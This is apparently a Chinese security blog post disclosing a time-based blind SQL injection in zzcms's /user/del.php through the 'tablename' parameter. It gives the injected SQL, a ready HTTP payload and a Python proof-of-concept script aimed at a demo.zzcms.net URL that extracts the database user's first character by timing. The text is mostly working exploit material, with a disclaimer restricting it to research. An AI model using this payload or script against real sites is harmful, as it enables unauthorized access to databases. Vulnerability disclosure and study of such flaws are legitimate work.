/user/del.php 存在SQL注入漏洞。
代码位置: /user/del.php 12行,获取参数。
由于存在checkid() 导致 $id无法进行注入,checkid() 代码如图。
在switch() 分支中不存在SQL注入就不展示代码了。在后面代码中 135行 发现存在SQL注入问题。
$tablename 可控,可以进行SQL注入。由于$tablename 所在位置无需闭合引号和CMS过滤大于号和小于号(转换为实体),拼接为 select id,editor, from zzcms_answer where id = 1 and if((ascii(substr(user(),1,1)) =121),sleep(5),1)#where id in 1; 拼接成如此的SQL语句可以完成注入。
漏洞利用
payload:id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1)) =121),sleep(5),1)%23
用python完成POC进行批量漏洞利用,猜测用户名的第一个字符。
poc
#!/usr/bin/env python # -*- coding: utf-8 -*- import requests import time payloads = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.' #匹配用的字符串 url = "http://demo.zzcms.net/user/del.php" user = '' for i in range(1, 2): for payload in payloads: #遍历取出字符 startTime = time.time() post_data = "id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1))=" + str(ord(payload)) + "),sleep(5),1)%23".encode("utf-8") response = requests.post(url, timeout=6, data=post_data, headers={"Content-Type": "application/x-www-form-urlencoded"} ) if time.time() - startTime > 5: user = payload print 'user is:', user break print '/n[Done] current user is %s' % user
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论